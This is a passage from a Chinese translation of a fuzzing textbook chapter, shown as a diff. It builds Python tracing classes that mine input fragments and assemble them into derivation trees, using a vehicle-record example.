+
+`traceit()`函数依赖于`frame`变量的信息，该变量公开了Python内部。 我们定义了一个`context`类，该类封装了`frame`中需要的信息。
+
+### 上下文
+
+通过`Context`类，可以轻松访问信息，例如当前模块和参数名称。
+
+```py
+class Context:
+    def __init__(self, frame, track_caller=True):
+        self.method = inspect.getframeinfo(frame).function
+        self.parameter_names = inspect.getargvalues(frame).args
+        self.file_name = inspect.getframeinfo(frame).filename
+        self.line_no = inspect.getframeinfo(frame).lineno
+
+    def _t(self):
+        return (self.file_name, self.line_no, self.method,
+                ','.join(self.parameter_names))
+
+    def __repr__(self):
+        return "%s:%d:%s(%s)" % self._t()
+
+```
+
+以下是一些在`frame`至`Context`上操作的便捷方法。
+
+```py
+class Context(Context):
+    def extract_vars(self, frame):
+        return inspect.getargvalues(frame).locals
+
+    def parameters(self, all_vars):
+        return {k: v for k, v in all_vars.items() if k in self.parameter_names}
+
+    def qualified(self, all_vars):
+        return {"%s:%s" % (self.method, k): v for k, v in all_vars.items()}
+
+```
+
+我们将上下文打印到我们的`traceit()`上以查看其实际效果。 首先，我们定义一个用于显示事件的`log_event()`。
+
+```py
+def log_event(event, var):
+    print({'call': '->', 'return': '<-'}.get(event, '  '), var)
+
+```
+
+并在`traceit()`功能中使用`log_event()`。
+
+```py
+class Tracer(Tracer):
+    def traceit(self, frame, event, arg):
+        log_event(event, Context(frame))
+        return self.traceit
+
+```
+
+在跟踪下运行`process_vehicle()`将打印遇到的上下文。
+
+```py
+with Tracer() as tracer:
+    process_vehicle(VEHICLES[0])
+
+```
+
+```py
+-> <string>:1:process_vehicle(vehicle)
+   <string>:2:process_vehicle(vehicle)
+   <string>:3:process_vehicle(vehicle)
+   <string>:4:process_vehicle(vehicle)
+-> <string>:1:process_van(year,company,model)
+   <string>:2:process_van(year,company,model)
+   <string>:3:process_van(year,company,model)
+   <string>:4:process_van(year,company,model)
+   <string>:7:process_van(year,company,model)
+   <string>:8:process_van(year,company,model)
+<- <string>:8:process_van(year,company,model)
+<- <string>:4:process_vehicle(vehicle)
+-> <string>:24:__exit__(self,exc_type,exc_value,tb)
+   <string>:25:__exit__(self,exc_type,exc_value,tb)
+
+```
+
+通过执行任何功能产生的跟踪可能会变得非常庞大。 因此，我们需要将注意力集中在特定的模块上。 此外，由于这些变量更可能包含输入片段，因此我们也仅将注意力集中在`str`变量上。 （我们将在后面的练习中展示如何处理复杂的对象。）
+
+我们之前开发的`Context`类用于确定要监视的模块以及要跟踪的变量。
+
+我们存储当前的*输入字符串*，以便可以用来确定是否有任何特定的字符串片段来自当前的输入字符串。 任何可选参数将单独处理。
+
+```py
+class Tracer(Tracer):
+    def __init__(self, my_input, **kwargs):
+        self.options(kwargs)
+        self.my_input, self.trace = my_input, []
+
+```
+
+我们使用可选参数`files`来指示我们感兴趣的特定源文件，并使用`methods`来指示感兴趣的特定方法。 此外，我们还使用`log`指定在跟踪过程中是否应启用详细日志记录。 我们使用先前定义的`log_event()`方法进行记录。
+
+选项处理如下。
+
+```py
+class Tracer(Tracer):
+    def options(self, kwargs):
+        self.files = kwargs.get('files', [])
+        self.methods = kwargs.get('methods', [])
+        self.log = log_event if kwargs.get('log') else lambda _evt, _var: None
+
+```
+
+检查`files`和`methods`，以确定是否应跟踪特定事件
+
+```py
+class Tracer(Tracer):
+    def tracing_context(self, cxt, event, arg):
+        fres = not self.files or any(
+            cxt.file_name.endswith(f) for f in self.files)
+        mres = not self.methods or any(cxt.method == m for m in self.methods)
+        return fres and mres
+
+```
+
+类似于事件的上下文，我们还希望将注意力集中在特定变量上。 现在，我们只想关注字符串。 （有关如何将其扩展到其他类型的对象，请参见本章末尾的练习）。
+
+```py
+class Tracer(Tracer):
+    def tracing_var(self, k, v):
+        return isinstance(v, str)
+
+```
+
+我们修改`traceit()`以仅使用我们感兴趣的特定事件的上下文信息来调用`on_event()`函数。
+
+```py
+class Tracer(Tracer):
+    def on_event(self, event, arg, cxt, my_vars):
+        self.trace.append((event, arg, cxt, my_vars))
+
+    def traceit(self, frame, event, arg):
+        cxt = Context(frame)
+        if not self.tracing_context(cxt, event, arg):
+            return self.traceit
+        self.log(event, cxt)
+
+        my_vars = {
+            k: v
+            for k, v in cxt.extract_vars(frame).items()
+            if self.tracing_var(k, v)
+        }
+        self.on_event(event, arg, cxt, my_vars)
+        return self.traceit
+
+```
+
+`Tracer`类现在可以专注于特定文件上的特定类型的事件。 此外，它为我们发现有趣的变量提供了一级过滤器。 例如，我们要特别关注`process_*`方法中包含输入片段的变量。 这是我们更新后的`Tracer`可以使用的方式
+
+```py
+with Tracer(VEHICLES[0], methods=INVENTORY_METHODS, log=True) as tracer:
+    process_vehicle(VEHICLES[0])
+
+```
+
+```py
+-> <string>:1:process_vehicle(vehicle)
+   <string>:2:process_vehicle(vehicle)
+   <string>:3:process_vehicle(vehicle)
+   <string>:4:process_vehicle(vehicle)
+-> <string>:1:process_van(year,company,model)
+   <string>:2:process_van(year,company,model)
+   <string>:3:process_van(year,company,model)
+   <string>:4:process_van(year,company,model)
+   <string>:7:process_van(year,company,model)
+   <string>:8:process_van(year,company,model)
+<- <string>:8:process_van(year,company,model)
+<- <string>:4:process_vehicle(vehicle)
+
+```
+
+执行产生了以下跟踪。
+
+```py
+for t in tracer.trace:
+    print(t[0], t[2].method, dict(t[3]))
+
+```
+
+```py
+call process_vehicle {'vehicle': '1997,van,Ford,E350'}
+line process_vehicle {'vehicle': '1997,van,Ford,E350'}
+line process_vehicle {'vehicle': '1997,van,Ford,E350', 'model': 'E350', 'company': 'Ford', 'kind': 'van', 'year': '1997'}
+line process_vehicle {'vehicle': '1997,van,Ford,E350', 'model': 'E350', 'company': 'Ford', 'kind': 'van', 'year': '1997'}
+call process_van {'model': 'E350', 'company': 'Ford', 'year': '1997'}
+line process_van {'model': 'E350', 'company': 'Ford', 'year': '1997'}
+line process_van {'model': 'E350', 'company': 'Ford', 'year': '1997'}
+line process_van {'model': 'E350', 'company': 'Ford', 'year': '1997'}
+line process_van {'model': 'E350', 'company': 'Ford', 'year': '1997'}
+line process_van {'model': 'E350', 'company': 'Ford', 'year': '1997'}
+return process_van {'model': 'E350', 'company': 'Ford', 'year': '1997'}
+return process_vehicle {'vehicle': '1997,van,Ford,E350', 'model': 'E350', 'company': 'Ford', 'kind': 'van', 'year': '1997'}
+
+```
+
+由于我们已经将输入保存在Tracer中，因此再次单独将其指定为参数是多余的。
+
+```py
+with Tracer(VEHICLES[0], methods=INVENTORY_METHODS, log=True) as tracer:
+    process_vehicle(tracer.my_input)
+
+```
+
+```py
+-> <string>:1:process_vehicle(vehicle)
+   <string>:2:process_vehicle(vehicle)
+   <string>:3:process_vehicle(vehicle)
+   <string>:4:process_vehicle(vehicle)
+-> <string>:1:process_van(year,company,model)
+   <string>:2:process_van(year,company,model)
+   <string>:3:process_van(year,company,model)
+   <string>:4:process_van(year,company,model)
+   <string>:7:process_van(year,company,model)
+   <string>:8:process_van(year,company,model)
+<- <string>:8:process_van(year,company,model)
+<- <string>:4:process_vehicle(vehicle)
+
+```
+
+### DefineTracker
+
+我们定义一个`DefineTracker`类，该类处理来自`Tracer`的跟踪。 这个想法是存储不同的变量定义，它们是输入片段。
+
+跟踪器识别属于输入字符串的字符串片段，并将其存储在字典`my_assignments`中。 它保存跟踪以及相应的输入以进行处理。 最后，它调用`process()`处理给定的`trace`。 我们将从一个简单的跟踪器开始，该跟踪器依赖于某些假设，然后再看如何放松这些假设。
+
+```py
+class DefineTracker:
+    def __init__(self, my_input, trace, **kwargs):
+        self.options(kwargs)
+        self.my_input = my_input
+        self.trace = trace
+        self.my_assignments = {}
+        self.process()
+
+```
+
+使用子字符串搜索的问题之一是，短字符串序列往往会包含在其他字符串序列中，即使它们可能并非来自原始字符串也是如此。 也就是说，输入片段是`v`。 它可能同样来自`van`或`chevy`。 我们依靠能够预测给定片段发生的确切位置输入。 因此，我们定义一个常量`FRAGMENT_LEN`，以便我们忽略该长度的字符串。 我们还像以前一样合并了一个日志记录工具。
+
+```py
+FRAGMENT_LEN = 3
+
+```
+
+```py
+class DefineTracker(DefineTracker):
+    def options(self, kwargs):
+        self.log = log_event if kwargs.get('log') else lambda _evt, _var: None
+        self.fragment_len = kwargs.get('fragment_len', FRAGMENT_LEN)
+
+```
+
+我们的跟踪器仅记录变量值出现的时间。 接下来，我们需要检查变量是否包含**输入字符串**中的值。 常用的方法是依靠符号执行或至少动态的污点处理，它们既强大又复杂。 但是，仅依靠子字符串搜索就可以得到一个合理的近似值。 也就是说，我们认为所产生的作为原始输入字符串的子字符串的任何值都来自原始输入。
+
+我们定义`is_input_fragment()`方法，该方法依赖于字符串包含来检测字符串是否来自输入。
+
+```py
+class DefineTracker(DefineTracker):
+    def is_input_fragment(self, var, value):
+        return len(value) >= self.fragment_len and value in self.my_input
+
+```
+
+我们可以使用`is_input_fragment()`仅选择定义的变量的子集，如下面`fragments()`中所实现的。
+
+```py
+class DefineTracker(DefineTracker):
+    def fragments(self, variables):
+        return {k: v for k, v in variables.items(
+        ) if self.is_input_fragment(k, v)}
+
+```
+
+跟踪器处理每个事件，并在每个事件处使用当前局部变量更新字典`my_assignments`，该局部变量包含作为输入一部分的字符串。 请注意，这里有一个关于重新分配期间发生情况的选择。 我们可以丢弃所有重新分配，也可以仅保留最后一个分配。 在这里，我们选择后者。 如果要使用以前的行为，请在存储片段之前检查`my_assignments`中是否存在该值。
+
+```py
+class DefineTracker(DefineTracker):
+    def track_event(self, event, arg, cxt, my_vars):
+        self.log(event, (cxt.method, my_vars))
+        self.my_assignments.update(self.fragments(my_vars))
+
+    def process(self):
+        for event, arg, cxt, my_vars in self.trace:
+            self.track_event(event, arg, cxt, my_vars)
+
+```
+
+使用跟踪器，我们可以获得输入片段。 例如，假设我们只对至少`5`个字符长的字符串感兴趣。
+
+```py
+tracker = DefineTracker(tracer.my_input, tracer.trace, fragment_len=5)
+for k, v in tracker.my_assignments.items():
+    print(k, '=', repr(v))
+
+```
+
+```py
+vehicle = '1997,van,Ford,E350'
+
+```
+
+或长度为`2`个字符的字符串（默认值）。
+
+```py
+tracker = DefineTracker(tracer.my_input, tracer.trace)
+for k, v in tracker.my_assignments.items():
+    print(k, '=', repr(v))
+
+```
+
+```py
+vehicle = '1997,van,Ford,E350'
+model = 'E350'
+company = 'Ford'
+kind = 'van'
+year = '1997'
+
+```
+
+```py
+class DefineTracker(DefineTracker):
+    def assignments(self):
+        return self.my_assignments.items()
+
+```
+
+### 组装派生树
+
+```py
+from [Grammars](Grammars.html) import START_SYMBOL, syntax_diagram, is_nonterminal
+
+```
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import GrammarFuzzer, FasterGrammarFuzzer, display_tree, tree_to_string
+
+```
+
+`DefineTracker`的输入片段只说明了一半。 片段可以在解析的不同阶段创建。 因此，我们需要将片段组装为输入的派生树。 基本思想如下：
+
+上一步的输入是：
+
+```py
+"1997,van,Ford,E350"
+
+```
+
+我们开始一个派生树，并将其与语法中的开始符号相关联。
+
+```py
+derivation_tree = (START_SYMBOL, [("1997,van,Ford,E350", [])])
+
+```
+
+```py
+display_tree(derivation_tree)
+
+```
+
+<svg height="74pt" viewBox="0.00 0.00 123.00 74.00" width="123pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 70)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="57.5" y="-54.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="57.5" y="-3.8">1997,van,Ford,E350</text></g> <g class="edge" id="edge1"><title>0->1</title></g></g></svg>
+
+下一个输入是：
+
+```py
+vehicle = "1997,van,Ford,E350"
+
+```
+
+由于车辆完全覆盖了`<start>`节点的值，因此我们将其替换为车辆节点。
+
+```py
+derivation_tree = (START_SYMBOL, [('<vehicle>', [("1997,van,Ford,E350", [])],
+                                   [])])
+
+```
+
+```py
+display_tree(derivation_tree)
+
+```
+
+<svg height="125pt" viewBox="0.00 0.00 123.00 125.00" width="123pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 121)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="57.5" y="-105.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="57.5" y="-54.8"><vehicle></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="57.5" y="-3.8">1997,van,Ford,E350</text></g> <g class="edge" id="edge2"><title>1->2</title></g></g></svg>
+
+The next input was:
+
+```py
+model = 'E350'
+
+```
+
+遍历`<start>`的派生树，我们看到它替换了`<vehicle>`节点值的一部分。 因此，我们将`<vehicle>`节点的值划分为两个子节点，其中一个对应于`"1997"`的值，另一个对应于`",van,Ford,E350"`的值，并将第一个替换为节点`<model>`。
+
+```py
+derivation_tree = (START_SYMBOL, [('<vehicle>', [('<model>', [('1997', [])]),
+                                                 (",van,Ford,E350", [])], [])])
+
+```
+
+```py
+display_tree(derivation_tree)
+
+```
+
+<svg height="176pt" viewBox="0.00 0.00 164.00 176.00" width="164pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 172)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="68.5" y="-156.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="68.5" y="-105.8"><vehicle></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="25.5" y="-54.8"><model></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="112.5" y="-54.8">,van,Ford,E350</text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="25.5" y="-3.8">1997</text></g> <g class="edge" id="edge3"><title>2->3</title></g></g></svg>
+
+我们为执行类似的操作
+
+```py
+company = 'Ford'
+
+```
+
+```py
+derivation_tree = (START_SYMBOL, [('<vehicle>', [('<model>', [('1997', [])]),
+                                                 (",van,", []),
+                                                 ('<company>', [('Ford', [])]),
+                                                 (",E350", [])], [])])
+
+```
+
+```py
+display_tree(derivation_tree)
+
+```
+
+<svg height="176pt" viewBox="0.00 0.00 243.50 176.00" width="244pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 172)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="116.5" y="-156.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="116.5" y="-105.8"><vehicle></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="25.5" y="-54.8"><model></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="83.5" y="-54.8">,van,</text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="149.5" y="-54.8"><company></text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="218.5" y="-54.8">,E350</text></g> <g class="edge" id="edge7"><title>1->7</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="25.5" y="-3.8">1997</text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="149.5" y="-3.8">Ford</text></g> <g class="edge" id="edge6"><title>5->6</title></g></g></svg>
+
+同样的
+
+```py
+kind = 'van'
+
+```
+
+和
+
+```py
+model = 'E350'
+
+```
+
+```py
+derivation_tree = (START_SYMBOL, [('<vehicle>', [('<model>', [('1997', [])]),
+                                                 (",", []),
+                                                 ("<kind>", [('van', [])]),
+                                                 (",", []),
+                                                 ('<company>', [('Ford', [])]),
+                                                 (",", []),
+                                                 ("<model>", [('E350', [])])
+                                                 ], [])])
+
+```
+
+```py
+display_tree(derivation_tree)
+
+```
+
+<svg height="176pt" viewBox="0.00 0.00 341.00 176.00" width="341pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 172)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="153.5" y="-156.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="153.5" y="-105.8"><vehicle></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="25.5" y="-54.8"><model></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="71.5" y="-54.8">,</text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="112.5" y="-54.8"><kind></text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="153.5" y="-54.8">,</text></g> <g class="edge" id="edge7"><title>1->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="207.5" y="-54.8"><company></text></g> <g class="edge" id="edge8"><title>1->8</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="261.5" y="-54.8">,</text></g> <g class="edge" id="edge10"><title>1->10</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="307.5" y="-54.8"><model></text></g> <g class="edge" id="edge11"><title>1->11</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="25.5" y="-3.8">1997</text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="112.5" y="-3.8">van</text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="207.5" y="-3.8">Ford</text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="307.5" y="-3.8">E350</text></g> <g class="edge" id="edge12"><title>11->12</title></g></g></svg>
+
+现在，我们使用上述步骤开发完整的算法。 派生树`TreeMiner`使用输入字符串和变量分配进行初始化，并将派生树转换为相应的派生树。
+
+```py
+class TreeMiner:
+    def __init__(self, my_input, my_assignments, **kwargs):
+        self.options(kwargs)
+        self.my_input = my_input
+        self.my_assignments = my_assignments
+        self.tree = self.get_derivation_tree()
+
+    def options(self, kwargs):
+        self.log = log_call if kwargs.get('log') else lambda _i, _v: None
+
+    def get_derivation_tree(self):
+        return (START_SYMBOL, [])
+
+```
+
+`log_call()`如下。
+
+```py
+def log_call(indent, var):
+    print('\t' * indent, var)
+
+```
+
+基本思想如下：
+
+*   **现在，我们假设分配给变量的值是稳定的。 也就是说，它永远不会重新分配。 特别是，没有递归调用，也没有从不同部分多次调用同一函数。** （稍后我们将展示如何克服此限制）。
+*   对于每对 *var* ，在`my_assignments`中发现*值*：
+    1.  我们在派生树中递归搜索*值* `val`的出现。
+    2.  如果发现某个事件是节点`P1`的值`V1`，则将节点`P1`的值分为三部分，中间部分与*值* `val`匹配，并且 第一部分和最后一部分是`V1`中相应的前缀和后缀。
+    3.  用三个子节点重构节点`P1`，其中前面提到的前缀和后缀是字符串值，并且匹配值`val`被具有单个值`val`的节点`var`代替。
+
+首先，我们定义一个包装器，以根据变量名生成非终结符。
+
+```py
+def to_nonterminal(var):
+    return "<" + var.lower() + ">"
+
+```
+
+`insert_into_tree`方法接受给定的树`tree`和`(k,v)`对。 它递归检查给定对是否可以应用。 如果可以应用该对，则应用该对并返回`True`。
+
+```py
+class TreeMiner(TreeMiner):
+    def insert_into_tree(self, my_tree, pair):
+        var, values = my_tree
+        k, v = pair
+        self.log(1, "- Node: %s\t\t? (%s:%s)" % (var, k, repr(v)))
+        applied = False
+        for i, value_ in enumerate(values):
+            value, arr = value_
+            self.log(2, "-> [%d] %s" % (i, repr(value)))
+            if is_nonterminal(value):
+                applied = self.insert_into_tree(value_, pair)
+                if applied:
+                    break
+            elif v in value:
+                prefix_k_suffix = [
+                    (k, [[v, []]]) if i == 1 else (e, [])
+                    for i, e in enumerate(value.partition(v))
+                    if e
+                ]
+                del values[i]
+                for j, rep in enumerate(prefix_k_suffix):
+                    values.insert(j + i, rep)
+                applied = True
+
+                self.log(2, " > %s" % (repr([i[0] for i in prefix_k_suffix])))
+                break
+            else:
+                continue
+        return applied
+
+```
+
+`insert_into_tree()`的使用方法如下。
+
+```py
+tree = (START_SYMBOL, [("1997,van,Ford,E350", [])])
+m = TreeMiner('', {}, log=True)
+
+```
+
+首先，我们将输入字符串作为唯一节点。
+
+```py
+display_tree(tree)
+
+```
+
+<svg height="74pt" viewBox="0.00 0.00 123.00 74.00" width="123pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 70)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="57.5" y="-54.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="57.5" y="-3.8">1997,van,Ford,E350</text></g> <g class="edge" id="edge1"><title>0->1</title></g></g></svg>
+
+插入`<vehicle>`节点。
+
+```py
+v = m.insert_into_tree(tree, ('<vehicle>', "1997,van,Ford,E350"))
+
+```
+
+```py
+	 - Node: <start>		? (<vehicle>:'1997,van,Ford,E350')
+		 -> [0] '1997,van,Ford,E350'
+		  > ['<vehicle>']
+
+```
+
+```py
+display_tree(tree)
+
+```
+
+<svg height="125pt" viewBox="0.00 0.00 123.00 125.00" width="123pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 121)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="57.5" y="-105.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="57.5" y="-54.8"><vehicle></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="57.5" y="-3.8">1997,van,Ford,E350</text></g> <g class="edge" id="edge2"><title>1->2</title></g></g></svg>
+
+插入`<model>`节点。
+
+```py
+v = m.insert_into_tree(tree, ('<model>', 'E350'))
+
+```
+
+```py
+	 - Node: <start>		? (<model>:'E350')
+		 -> [0] '<vehicle>'
+	 - Node: <vehicle>		? (<model>:'E350')
+		 -> [0] '1997,van,Ford,E350'
+		  > ['1997,van,Ford,', '<model>']
+
+```
+
+```py
+display_tree((tree))
+
+```
+
+<svg height="176pt" viewBox="0.00 0.00 163.50 176.00" width="164pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 172)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="86" y="-156.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="86" y="-105.8"><vehicle></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="43" y="-54.8">1997,van,Ford,</text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="130" y="-54.8"><model></text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="130" y="-3.8">E350</text></g> <g class="edge" id="edge4"><title>3->4</title></g></g></svg>
+
+插入`<company>`。
+
+```py
+v = m.insert_into_tree(tree, ('<company>', 'Ford'))
+
+```
+
+```py
+	 - Node: <start>		? (<company>:'Ford')
+		 -> [0] '<vehicle>'
+	 - Node: <vehicle>		? (<company>:'Ford')
+		 -> [0] '1997,van,Ford,'
+		  > ['1997,van,', '<company>', ',']
+
+```
+
+```py
+display_tree(tree)
+
+```
+
+<svg height="176pt" viewBox="0.00 0.00 241.50 176.00" width="242pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 172)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="135" y="-156.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="135" y="-105.8"><vehicle></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="28" y="-54.8">1997,van,</text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="108" y="-54.8"><company></text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="162" y="-54.8">,</text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="208" y="-54.8"><model></text></g> <g class="edge" id="edge6"><title>1->6</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="108" y="-3.8">Ford</text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="208" y="-3.8">E350</text></g> <g class="edge" id="edge7"><title>6->7</title></g></g></svg>
+
+插入`<kind>`。
+
+```py
+v = m.insert_into_tree(tree, ('<kind>', 'van'))
+
+```
+
+```py
+	 - Node: <start>		? (<kind>:'van')
+		 -> [0] '<vehicle>'
+	 - Node: <vehicle>		? (<kind>:'van')
+		 -> [0] '1997,van,'
+		  > ['1997,', '<kind>', ',']
+
+```
+
+```py
+display_tree(tree)
+
+```
+
+<svg height="176pt" viewBox="0.00 0.00 299.50 176.00" width="300pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 172)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="139" y="-156.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="139" y="-105.8"><vehicle></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="16" y="-54.8">1997,</text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="71" y="-54.8"><kind></text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="112" y="-54.8">,</text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="166" 